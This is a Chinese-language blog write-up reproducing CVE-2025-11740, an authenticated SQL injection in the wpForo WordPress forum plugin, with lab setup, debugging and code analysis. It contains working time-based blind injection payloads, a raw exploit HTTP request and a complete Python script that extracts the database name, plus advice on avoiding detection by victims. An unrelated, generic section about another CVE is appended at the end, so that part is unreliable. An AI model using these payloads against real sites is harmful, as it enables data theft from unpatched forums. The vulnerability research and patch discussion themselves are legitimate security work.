WordPress wpForo Forum插件漏洞CVE-2025-11740复现

漏洞描述

The wpForo Forum plugin for WordPress is vulnerable to SQL Injection
via the Subscriptions Manager in all versions up to, and including,
2.4.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes
it possible for authenticated attackers, with Subscriber-level access
and above, to append additional SQL queries into already existing
queries that can be used to extract sensitive information from the
database.

在 2.4.9 之前(包括 2.4.9)之前的所有版本中,WordPress 的 wpForo 论坛插件都容易受到订阅管理器的 SQL 注入,因为用户提供的参数转义不足,并且对现有 SQL 查询缺乏足够的准备。这使得具有订阅者级别及更高级别访问权限的经过身份验证的攻击者可以将其他 SQL 查询附加到现有查询中,这些查询可用于从数据库中提取敏感信息。

环境搭建

我是Ubuntu22搭建wordpress+apache2+php8.3+MySQL环境,怎么搭建官网教程有了我就不讲了,然后配置本地域名wordpress.local和apache2虚拟主机。
安装有漏洞版本的wpforo插件,以管理员身份点击主页的Forum按钮,进入论坛,创建一个话题。
在这里插入图片描述
这里为了演示漏洞效果,我还在管理员界面/wp-admin/admin.php?page=wpforo-forums创建了一个子论坛。
在这里插入图片描述
创建订阅者用户jack1,去论坛话题下面发评论,并订阅这个话题,我这里已经订阅了。
在这里插入图片描述

这里说一下vscode配置php调试的步骤,因为一开始不懂搞卡了很久。

php.ini有两个,一个是cli目录下面,一个是apache2目录下面。

root@osstu-virtual-machine:/etc/php/8.3# ls
apache2  cli  mods-available

开始在cli/php.ini配置调试,但是一直不能触发断点,后来知道web应用应该在apache2/php.ini里面配置,配置文件末尾添加下面的东西:

[xdebug]
zend_extension=xdebug.so
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1  ; 或你的主机 IP
xdebug.client_port=9003       ; 默认端口,匹配 VSCode 的 launch.json
xdebug.log=/tmp/xdebug.log    ; 可选,用于调试日志

然后安装php8.3的xdebug模块(网上/AI有教程)。
然后VSCODE的launch.json如下:

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            // 关键配置 - 路径映射(根据你的环境修改)
            "pathMappings": {
                "/var/www/html/wordpress": "${workspaceFolder}",
                // Windows 示例: "C:\\xampp\\htdocs\\wordpress": "${workspaceFolder}"
            },
            // 可选优化配置
            //"log": true,
            "xdebugSettings": {
                "max_children": 128,
                "max_data": 1024,
                "max_depth": 5
            }
        }
    ]
}

然后调试界面点击开始调试即可:
在这里插入图片描述

漏洞分析

还是先说结论:由于不知道哪发生了SQL注入,我丢给AI遍历了一下插件代码,最后发现漏洞点在wp-content/plugins/wpforo/modules/subscriptions/Subscriptions.php的reset方法中,这确实符合漏洞描述中“订阅管理器的SQL注入”

在这里插入图片描述
漏洞代码如下:

		$sql = "DELETE FROM `" . WPF()->tables->subscribes . "` WHERE `type` IN('" . implode( "','", $types ) . "') AND " . $where;
		if( ! $all && $data ) {
			$forumids = array_keys( $data );
			$sql      .= " AND `itemid` NOT IN(" . implode( ',', $forumids ) . ")";
		}
		WPF()->db->query( $sql );

implode方法参见官方文档
implode( ‘,’, $forumids )直接拼接进了SQL语句中,且implode的过滤可能没那么严格,并且直接用了query方法,没有预编译(后面的其他sql查询都用了prepare方法来预编译,但这里就没用),导致攻击者能从$forumids变量下手。好了先说到这,细节看后文。

我也不是很懂wordpress插件的开发,问了下AI,大概讲解一下如何触发该方法:

插件入口和初始化

wp-content/plugins/wpforo/wpforo.php是插件的主入口文件,整个文件除了开头各种声明包含语句之外,就实现了一个final class wpforo
文件开头就包含require_once WPFORO_DIR . “/autoload.php”;
在这里插入图片描述
autoload.php检测到没有WPF方法,就定义了这个方法,方法中创建了wpforo类的实例,可见这是单例模式的实现。
实例化类得调用构造方法,wpforo.php 的 __construct() 方法调用init_hooks(),注册各种 WordPress 钩子。
在这里插入图片描述
init_hooks会调用init()方法。

在 init() 方法中,调用 init_current_object() 来解析当前请求的 URL 和对象。
这会设置全局对象 $wpforo(通过 WPF() 函数访问),并加载所有类(包括订阅模块的 Actions 类)。

URL 解析和路由

wpForo 使用自定义 URL 结构来处理论坛页面。成员页面的 URL 格式基于官方文档
在这里插入图片描述
比如http://192.168.6.138/participant/jack1/subscriptions/对应于成员模板(member template)的 “subscriptions” 标签页,用于显示和管理用户的订阅。也是本次漏洞触发点。
在这里插入图片描述
解析逻辑(在 wpforo.php 的 init_current_object() 方法中,AI说的,好吧这里我也看不懂)
URL 被解析为路径数组(例如:[‘participant’, ‘jack1’, ‘subscriptions’])。
检测到 participant 路由后,设置 $this->current_object[‘template’] = ‘subscriptions’。
用户 ID(userid)通过 user_slug(例如 jack1)解析(支持 ID 或昵称结构)。
模板被识别为成员模板(wpforo_is_member_template(‘subscriptions’) 返回 true)。
加载订阅页面模板,显示用户的订阅列表(可以查看和取消订阅)。
在这里插入图片描述

reset方法的触发

经过全局搜索发现wp-content/plugins/wpforo/modules/subscriptions/classes/Actions.php的manager方法调用了reset方法。

在这里插入图片描述
manager() 方法是一个表单提交处理器,用于处理订阅管理(例如重置订阅列表)。它通过 POST 请求触发。我们看这个注释“subscribe_manager form submit action”,并可以在同一个文件中搜索到subscribe_manager操作的注册(add_action方法):
在这里插入图片描述
一般这种操作方法会在数据包传参里面。

用户在订阅页面(/participant/{user_slug}/subscriptions/)上提交表单(例如,勾选论坛并点击"更新订阅"按钮)。
在这里插入图片描述

表单通过 POST发送数据,包括:
wpfaction=subscribe_manager(触发器)。
其他数据如 wpforo[userid]、wpforo[forums] 等。
在这里插入图片描述

钩子链和调用路径:

主 Actions 类(wp-content/plugins/wpforo/classes/Actions.php):
在 init_hooks() 中注册 add_action( 'wpforo_actions', [ $this, 'do_actions' ], 999 );。
do_actions() 方法检查 $_POST['wpfaction'] 或 WPF()->GET['wpfaction'],如果包含 'subscribe_manager',则触发 do_action( "wpforo_action_subscribe_manager" );。
订阅模块的 Actions 类(wp-content/plugins/wpforo/modules/subscriptions/classes/Actions.php):
在 init_hooks() 中注册 add_action( 'wpforo_action_subscribe_manager', [ $this, 'manager' ] );。
当 wpforo_action_subscribe_manager 钩子触发时,调用 manager() 方法。

manager() 方法执行:

验证表单(wpforo_verify_form())。
获取 POST 数据(用户 ID、论坛列表等)。
调用 WPF()->sbscrb->reset() 来更新订阅。
重定向回当前页面(wp_safe_redirect( wpforo_get_request_uri() );)。

好了终于调用到reset方法了。

reset方法做了啥?

咱也别管它做了啥,直接调试看看最后执行的SQL语句是什么。
订阅管理界面随便点击一个话题订阅然后更新订阅:
在这里插入图片描述

调试的时候直接把断点下在reset方法的sql语句构造处。
在这里插入图片描述
打印POST数组和sql语句以及data变量如下,经过测试发现3就是我点击订阅的话题id。
在这里插入图片描述
data就是:话题id=>“forum”
后面forums取data的键也就是3,拼接进了sql语句。

因为是DELETE语句,所以是无回显sql注入,这里采用布尔盲注。
这里说一下,MySQL里面SLEEP函数返回值等价于false。

在这里插入图片描述
业务逻辑解读

DELETE FROM `wp_wpforo_subscribes` WHERE `type` IN('forum','forum-topic','forums','forums-topics') AND `userid` = 2 AND `itemid` NOT IN(1)

当用户提交订阅表单时,插件执行以下操作:
保留勾选的订阅:用户勾选的 itemid(如 3)会被保留(更新或新增)。
删除未勾选的订阅:通过 NOT IN(用户勾选的itemid) 删除其他所有订阅。
当用户提交一个不存在的 itemid=9,条件itemid NOT IN(9)对所有记录为真(因为没有任何记录的 itemid是90)结果:所有订阅都会被删除(因为所有记录都满足NOT IN(9))。
在这里插入图片描述

但是我传入如下数据包的时候:

POST /participant/jack1/subscriptions/ HTTP/1.1
Host: 192.168.6.138
Priority: u=0, i
Referer: http://192.168.6.138/participant/jack1/subscriptions/
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Cookie: wp-settings-time-1=1762237749; wpforo_read_topics=%7B%221%22%3A%223%22%7D; wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D; wp-settings-2=mfold%3Do; wp-settings-time-2=1762311751; wordpress_logged_in_0b4dcdea5f6ab081ba95149545123b49=jack1%7C1762494142%7CbyYn8jver4RT4R7Xn46ZwPZVX5EJJeX7Est6dw3Jnzv%7Caa3a5aaa6c75c5bd334c85e47fd33f776060a5f9671bb927e22845ef44c59427
Origin: http://192.168.6.138
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Length: 811

------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="wpfaction"

subscribe_manager
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="wpforo[boardid]"

0
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="wpforo[userid]"

2
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="_wpfnonce"

7791c2ce46
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="_wp_http_referer"

/participant/jack1/subscriptions/
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="wpforo[forums][9) AND SLEEP(5) -- ]"

forum
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc--

确实睡眠了5秒,但是在数据库中添加的itemid=9,如果正常选只能是0、1、2、3,因为我只创建了2个论坛每个论坛分为{主题和帖子}、{话题}两个类型的订阅,因此最多四个itemid,这是我抓包验证过的。
在这里插入图片描述
但是如果传入wpforo[forums][88) OR SLEEP(5) – ],则清空所有订阅,并增加itemid=88的一条记录。
我推测用OR的时候插件做了2件事,第一件是删除NOT IN(itemid)的记录,第二件如果不存在用户传入的itemid的记录则新增它,但是用AND注入的时候只增不删。但是还有个奇怪的问题,传入wpforo[forums][0) AND SLEEP(5) --]的时候没睡眠5秒,传入wpforo[forums][0) AND SLEEP(5) – ]的时候睡眠5秒。

在这里插入图片描述
在这里插入图片描述
这里我就有点奇怪为什么少一个空格就不睡眠了,调试的时候打印sql也就是–后面有没有空格的区别。直到我去MySQL客户端试了下,发现--后面没空格直接报错,后面有空格则识别为无分号结尾,不执行。这里可能是我的知识不牢固,我之前一直以为sql注入什么--+--空格什么的那个空格可以不要,现在我才知道MySQL注释是--后面必须加空格,后面去在线MySQL平台试过也是这样(好吧其实用个井号就得了)。

在这里插入图片描述
然而query方法允许执行无分号结尾的sql,这就是为什么–后面有空格能睡眠的原因。

不好意思扯远了,本人基础不牢才扯那么多🤓。回到正题,这里攻击者是jack1用户,此时传入下面的payload可获取信息:

-- 睡眠5秒,因为我测试数据库是wordpress,w的ASCII是119
0) AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=119, SLEEP(5), 0) -- 

--下面这个不会睡眠
0) AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=19, SLEEP(5), 0) -- 

如果你是拿到不属于你的用户作为攻击者,推荐AND方式注入,因为OR可能会删除他的订阅,引起怀疑。
下面是自动化脚本:

import requests
import time
import string

def exploit_time_based_sqli():
    # 目标URL和配置
    url = "http://192.168.6.138/participant/jack1/subscriptions/"
    boundary = "----geckoformboundary824a0414a1d205c4be7c17fa50764f25"
    cookie = "wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D;wp-settings-2=mfold%3Do;wp-settings-time-2=1762311751;wp-settings-time-1=1762237749;wordpress_logged_in_0b4dcdea5f6ab081ba95149545123b49=jack1%7C1762506648%7C6JuKWdJBtvyucbtTRNeFwGi0lvk9go96lJKAkRPjnNS%7Cbd788d8de7aa8f5e1b350921d8dab697323cd3699ef572d6d45570aba13caf9a;wpforo_read_topics=%7B%221%22%3A%223%22%7D"
    
    # 基础请求头
    headers = {
        "Host": "192.168.6.138",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Origin": "http://192.168.6.138",
        "Connection": "close",
        "Referer": "http://192.168.6.138/participant/jack1/subscriptions/",
        "Cookie": cookie,
        "Upgrade-Insecure-Requests": "1"
    }
    
    # 数据库名称的字符位置
    db_name = ""
    position = 1
    sleep_time = 3  # 注入中使用的睡眠时间
    threshold = 3  # 时间阈值(秒)
    
    print("开始数据库名称提取...")
    
    # 首先获取基准响应时间
    print("获取基准响应时间...")
    base_payload = "1"  # 无害payload,别和下面payload的id一样,不然失败,AI写的。
    base_times = []
    for _ in range(3):
        body = build_request_body(base_payload, boundary)
        start_time = time.time()
        requests.post(url, headers=headers, data=body)
        elapsed = time.time() - start_time
        base_times.append(elapsed)
        print(f"基准请求 {_+1}: {elapsed:.2f}秒")
        time.sleep(1)  # 避免请求过快
    
    # 计算基准时间(取最小值加0.5秒作为安全阈值)
    base_time = min(base_times) + 0.5
    print(f"基准时间: {base_time:.2f}秒, 检测阈值: {threshold}秒")
    
    # 循环提取数据库名称的每个字符
    while True:
        found_char = False
        
        # 测试当前字符(ASCII 32-126)
        for char_code in range(97, 128):
            char = chr(char_code)
            # 跳过可能引起问题的字符
            if char in "\\\"'":
                continue
                
            # 构造Payload
            payload = f"0) AND IF(ASCII(SUBSTRING(DATABASE(),{position},1))={char_code},SLEEP({sleep_time}),0)-- "
            
            # 构造请求体
            body = build_request_body(payload, boundary)
            
            # 发送请求并计时(重复3次取平均值)
            delays = []
            for attempt in range(3):
                start_time = time.time()
                response = requests.post(url, headers=headers, data=body)
                elapsed = time.time() - start_time
                delays.append(elapsed)
                time.sleep(1)  # 避免请求过快
                
            avg_delay = sum(delays) / len(delays)
            
            print(f"位置 {position} 测试字符 '{char}' (ASCII {char_code}) - 平均延迟: {avg_delay:.2f}秒", end="\r")
            
            # 检查是否触发延迟
            if avg_delay >= threshold:
                db_name += char
                print(f"\n发现字符: 位置 {position} = '{char}' (ASCII {char_code}) - 平均延迟: {avg_delay:.2f}秒")
                found_char = True
                break
        
        # 如果当前位置没有找到有效字符,结束循环
        if not found_char:
            if position == 1:
                print("\n未找到数据库名称!")
            else:
                print(f"\n数据库名称: {db_name}")
            break
        
        position += 1

def build_request_body(payload, boundary):
    """构造多部分表单请求体"""
    body = f"--{boundary}\r\n"
    body += 'Content-Disposition: form-data; name="wpfaction"\r\n\r\n'
    body += 'subscribe_manager\r\n'
    body += f"--{boundary}\r\n"
    body += 'Content-Disposition: form-data; name="wpforo[boardid]"\r\n\r\n'
    body += '0\r\n'
    body += f"--{boundary}\r\n"
    body += 'Content-Disposition: form-data; name="wpforo[userid]"\r\n\r\n'
    body += '2\r\n'
    body += f"--{boundary}\r\n"
    body += 'Content-Disposition: form-data; name="_wpfnonce"\r\n\r\n'
    body += 'a8eca4084d\r\n'
    body += f"--{boundary}\r\n"
    body += 'Content-Disposition: form-data; name="_wp_http_referer"\r\n\r\n'
    body += '/participant/jack1/subscriptions/\r\n'
    body += f"--{boundary}\r\n"
    body += f'Content-Disposition: form-data; name="wpforo[forums][{payload}]"\r\n\r\n'
    body += 'forum\r\n'
    body += f"--{boundary}--\r\n"
    
    return body

if __name__ == "__main__":
    exploit_time_based_sqli()

在这里插入图片描述

由于时间盲注非常麻烦,我就给个获取数据库名的脚本得了,感兴趣的师傅可以写更高级的脚本。注意cookie和_wpnonce和boundary根据实际情况替换

修复方法

升级插件到2.4.10版本
官方的修复如下:

//这里使用intval()对数组键值进行整数转换,完全消除了SQL注入的可能性。非数字字符会被过滤为0。
  $forumids = array_map('intval', array_keys( $data ));

原版是

   $forumids = array_keys( $data );

在这里插入图片描述
即使下面依然使用query方法,也不会有sql注入了。

参考链接

  • https://nvd.nist.gov/vuln/detail/CVE-2025-11740
  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-249-authenticated-susbscriber-sql-injection
### 关于 CVE-2025 漏洞复现的信息 CVE-2025-1094 被描述为一个需要紧急关注和处理的关键漏洞[^2]。此漏洞可能允许攻击者通过特定条件下的输入验证不足来执行恶意操作,从而危及系统的安全性。为了有效应对这一威胁,组织应采取一系列措施,包括但不限于应用官方发布的补丁更新、强化输入数据的校验逻辑以及遵循行业内的最佳安全实践。 尽管具体的 CVE-2025 复现步骤未在现有资料中明确提及,但从其他类似案例(如 CVE-2021-3493 和脏牛漏洞 CVE-2016-5195)可以看出,通常涉及以下几个方面: #### 1. **环境准备** 对于大多数漏洞复现而言,构建合适的测试环境至关重要。例如,在 Linux 系统上的某些漏洞复现过程中,开发者可能会依赖 OverlayFS 来模拟权限提升场景[^3];而在 Windows 平台上,则需配置开发工具链,比如 Visual Studio 及其 C++ 支持组件[^5]。 #### 2. **编写 PoC (Proof of Concept)** PoC 是证明漏洞存在的重要手段之一。以下是基于假设情景的一个简单代码片段用于演示目的: ```cpp #include <iostream> using namespace std; int main() { char buffer[10]; cout << "Enter up to 9 characters: "; cin.getline(buffer, sizeof(buffer)); // Potential vulnerability point due to lack of proper validation. cout << "You entered: " << buffer; return 0; } ``` 上述例子展示了缓冲区溢出的可能性,如果用户输入超过预期长度的数据而缺乏严格控制的话,就可能导致程序行为异常甚至崩溃[^4]。 #### 3. **分析与调试** 利用调试器跟踪目标应用程序运行期间的状态变化情况可以帮助深入理解漏洞的工作机理。这一步骤往往结合静态代码审查一起完成,旨在发现潜在的安全隐患所在位置及其成因。 #### 4. **修补方案探讨** 针对已知缺陷提供有效的缓解策略同样重要。正如之前所提到过的那样,及时部署厂商推荐的安全升级包是最直接也是最可靠的方法之一。除此之外,加强前端/后端交互环节中的参数过滤机制亦能起到一定防护作用。 --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值